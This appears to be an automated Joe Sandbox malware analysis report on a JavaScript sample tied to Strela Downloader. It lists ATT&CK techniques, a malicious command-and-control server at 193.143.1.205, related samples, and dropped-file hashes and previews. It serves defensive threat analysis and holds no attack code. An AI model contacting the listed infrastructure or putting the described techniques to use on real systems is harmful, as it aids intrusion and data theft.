Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18444172742706830592.js	5%	Virustotal		Browse
18444172742706830592.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/paced:	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.19	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2725149821.0000026F93800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1485374834.0000026F93A50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1487638301.0000019200578000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1484675923.00000192005AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1482449338.00000192005CE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1494341717.00000192005D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/paced:	net.exe, 00000007.00000002.1487638301.0000019200578000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/_	net.exe, 00000007.00000002.1494341717.00000192005AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1484675923.00000192005AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588017
Start date and time:	2025-01-10 20:34:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18444172742706830592.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 217.20.57.19, 2.16.168.105, 2.16.168.107, 34.237.241.83, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:35:04	API Interceptor	22x Sleep call for process: powershell.exe modified
14:35:08	API Interceptor	1x Sleep call for process: net.exe modified
14:35:09	API Interceptor	2x Sleep call for process: svchost.exe modified
14:35:16	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39
	naebalovo.dll.dll	Get hash	malicious	Unknown	Browse	217.20.57.36
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	84.201.210.39
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.41
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
bg.microsoft.map.fastly.net	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3253418218787826771.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1053816775239920795.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1794629123897518052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4779230781910419613.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021987251173551
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAC:RJE+Lfki1GjHwU/+vVhWqpn
MD5:	4B040423285100A23620E81A51E14A32
SHA1:	8D2853D1C07E41DD3D2168D111FAA7353C5D2967
SHA-256:	44173F67B47B8D60A62C15F8CFC500FC1F84F91D3BD9AA2FF187A4D2E71FFA5F
SHA-512:	26272D6D8A1766EC8AC85AEBC025DBD95F3FE3A4B7F629259FEE952E76B0509A072C70C8E203F8B68B5D4A6B91A74A467900718248526D4630FCFC9623B1F518
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc42d8191, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433129981182551
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:bazaHvxXy2V2UR
MD5:	C637670AEC9D1069E6D5BB9500220BA5
SHA1:	6E1829CFE61F107BB9D17148E443A22FC4AA47BE
SHA-256:	A64900E900AEC04CA80C24C91B3D79889D7AABC675368AD99CD179CE80536156
SHA-512:	7B9ECFCBC5F7830C1F811C46B9F504250B0F1F3396CA4E51CA44ED6968CAAAA9D62F30219033033094E38D2542DF65B3E81F61EB2FEB52052EA206C79339712D
Malicious:	false
Preview:	.-..... ...............X\...;...{......................0.x...... ...{s..#...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................)..+.#...}k.................Mi...#...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08148406988544812
Encrypted:	false
SSDEEP:	3:A/WtKYebqgdl/nqlFcl1ZUllllpA7Ik1allGBnX/l/Tj/k7/t:A/WtKzbqql/qlFclQ/l9j254
MD5:	21CF2E0C5840BCB52E7CD74E5763F131
SHA1:	599B5FE9C401C9B9EEDD586D4B6E5129D9765291
SHA-256:	ED3B871B9820A7439AA328BD76139EAA75E412FF8046D1E3B5FC5FA1F8CE7D18
SHA-512:	750F73A434EB4ADFF5EA17ADAC775D1F9A58AC6CE1F54C1B856B14C57527A6BFF2C422E57491987E3E1D39FFD2F876D8778734CCDF34D6C4DD12C258ABB39BC0
Malicious:	false
Preview:	.:......................................;...{...#...}... ...{s.......... ...{s.. ...{s.P.... ...{s.................Mi...#...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.181296177543255
Encrypted:	false
SSDEEP:	6:iO4hWucq2PCHhJ2nKuAl9OmbnIFUtSwnZmwsw1kwOCHhJ2nKuAl9OmbjLJ:78WzvBHAahFUtpn/L156HAaSJ
MD5:	C31A3DB7C8433549BDE93E21B26B956B
SHA1:	351FC79DA61D621C16CF53965A6177A0F6CED515
SHA-256:	AEC4D50DA60111C1201F33CC31FFBED4D019F9AAE88868FAE4B93279EF7508EF
SHA-512:	B1CF653145DD51859C3CB5AF616C5352A35F2C91A4005181F6FCF2A053015EF70EF55574534BBE61542FA79B152FF89DB437B7A7E4672B9AA8E810D918510FD3
Malicious:	false
Preview:	2025/01/10-14:35:08.881 1d80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:35:08.905 1d80 Recovering log #3.2025/01/10-14:35:08.905 1d80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.181296177543255
Encrypted:	false
SSDEEP:	6:iO4hWucq2PCHhJ2nKuAl9OmbnIFUtSwnZmwsw1kwOCHhJ2nKuAl9OmbjLJ:78WzvBHAahFUtpn/L156HAaSJ
MD5:	C31A3DB7C8433549BDE93E21B26B956B
SHA1:	351FC79DA61D621C16CF53965A6177A0F6CED515
SHA-256:	AEC4D50DA60111C1201F33CC31FFBED4D019F9AAE88868FAE4B93279EF7508EF
SHA-512:	B1CF653145DD51859C3CB5AF616C5352A35F2C91A4005181F6FCF2A053015EF70EF55574534BBE61542FA79B152FF89DB437B7A7E4672B9AA8E810D918510FD3
Malicious:	false
Preview:	2025/01/10-14:35:08.881 1d80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:35:08.905 1d80 Recovering log #3.2025/01/10-14:35:08.905 1d80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1557300731333475
Encrypted:	false
SSDEEP:	6:iO4h+GqM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSaFZZmwsBSMVkwOCHhJ2nKuAl9OU:7M53+vBHAa8uFUtBZ/K/V56HAa8RJ
MD5:	8438F529FB55E9B7B7A37A523914B0E0
SHA1:	25462F401C9BFD4A6B96E028871F4C456C75B774
SHA-256:	986C9287457BADD3F8368871B53D301F4A513C60DF61CE3AE54A984458460EB2
SHA-512:	E12C58C9026445A98AAE33C59777F434BFF21A12E53A3AAC411907CD8511E61AE7D8D7D17462FFF25B537B6476016A44B073D66896BAA4E3EFF43AE7D4A1CAD5
Malicious:	false
Preview:	2025/01/10-14:35:08.988 101c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:35:08.990 101c Recovering log #3.2025/01/10-14:35:08.991 101c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1557300731333475
Encrypted:	false
SSDEEP:	6:iO4h+GqM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSaFZZmwsBSMVkwOCHhJ2nKuAl9OU:7M53+vBHAa8uFUtBZ/K/V56HAa8RJ
MD5:	8438F529FB55E9B7B7A37A523914B0E0
SHA1:	25462F401C9BFD4A6B96E028871F4C456C75B774
SHA-256:	986C9287457BADD3F8368871B53D301F4A513C60DF61CE3AE54A984458460EB2
SHA-512:	E12C58C9026445A98AAE33C59777F434BFF21A12E53A3AAC411907CD8511E61AE7D8D7D17462FFF25B537B6476016A44B073D66896BAA4E3EFF43AE7D4A1CAD5
Malicious:	false
Preview:	2025/01/10-14:35:08.988 101c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:35:08.990 101c Recovering log #3.2025/01/10-14:35:08.991 101c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47f510d9-f3f6-44d2-9edd-ca80a565adee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97484724010356
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqJEsBdOg2H+gcaq3QYiub6P7E4T3y:Y2sRdsapdMHe3QYhbS7nby
MD5:	A974CFEC99EA9C59224A9BB02FAB7E69
SHA1:	BDCD2FEB8022DC70527086119D27DC760FCD72AF
SHA-256:	E26A64BFFE3507A08F377FE7461AF829E90917B24F6D21B177DD233E769D6411
SHA-512:	EA60D1AF24038DF62AE1A894DDBDCB79C8471F1E3D6B1CDB27D3F03C01974B6D0079C120A595E01C399BC1395A8515B80423ADE3F076ADFEF6C87E6EDB17577F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381097720779521","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":150782},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF456bf9.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a106fa81-f888-478c-8f87-73fde90970f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.23579041406378
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bjolb63J:S43C4mS7fFi0KFYDjr3LWO3V3aw+bjoY
MD5:	7993D95A590033C52A6BE3254A044F20
SHA1:	3D2362BA550C44D41AD1A0B93566F96AE1F4C0A5
SHA-256:	EA3F26B215449F97D45046F4663D7FC9C2A25EE1A22C5F7F2AB126AF7902C3F9
SHA-512:	EC838798AE31E4AF068BF77FA50599256D72E547ED969B52F0E95B17A9CA4586DD706CB1D56C29DC2C4DF75B84B84A8EBA7DA9677AD88CAAB634E0D76F0B803F
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.12518543100813
Encrypted:	false
SSDEEP:	6:iO4NMM+q2PCHhJ2nKuAl9OmbzNMxIFUtSBFZZmws5MVkwOCHhJ2nKuAl9OmbzNMT:7wN+vBHAa8jFUtYFZ/ZV56HAa84J
MD5:	75D9BB828808E223F74B021B8E9B4666
SHA1:	B2368A143D92C1B405CEAB719F576C6BA6F4EA0B
SHA-256:	E7522573642F81251A67F5B798D7ED6C802018B13AC8D7E1C236B5D86B8E1509
SHA-512:	E80B034A01FC2255292F6EDF69123F3318B7F91EC8034D047AFB446A942AFFD7E00F353E943C3119CD440C845CA3AB1644E94A5ED073EFD6401273742CEDB0F6
Malicious:	false
Preview:	2025/01/10-14:35:09.130 101c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:35:09.132 101c Recovering log #3.2025/01/10-14:35:09.133 101c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.12518543100813
Encrypted:	false
SSDEEP:	6:iO4NMM+q2PCHhJ2nKuAl9OmbzNMxIFUtSBFZZmws5MVkwOCHhJ2nKuAl9OmbzNMT:7wN+vBHAa8jFUtYFZ/ZV56HAa84J
MD5:	75D9BB828808E223F74B021B8E9B4666
SHA1:	B2368A143D92C1B405CEAB719F576C6BA6F4EA0B
SHA-256:	E7522573642F81251A67F5B798D7ED6C802018B13AC8D7E1C236B5D86B8E1509
SHA-512:	E80B034A01FC2255292F6EDF69123F3318B7F91EC8034D047AFB446A942AFFD7E00F353E943C3119CD440C845CA3AB1644E94A5ED073EFD6401273742CEDB0F6
Malicious:	false
Preview:	2025/01/10-14:35:09.130 101c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:35:09.132 101c Recovering log #3.2025/01/10-14:35:09.133 101c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
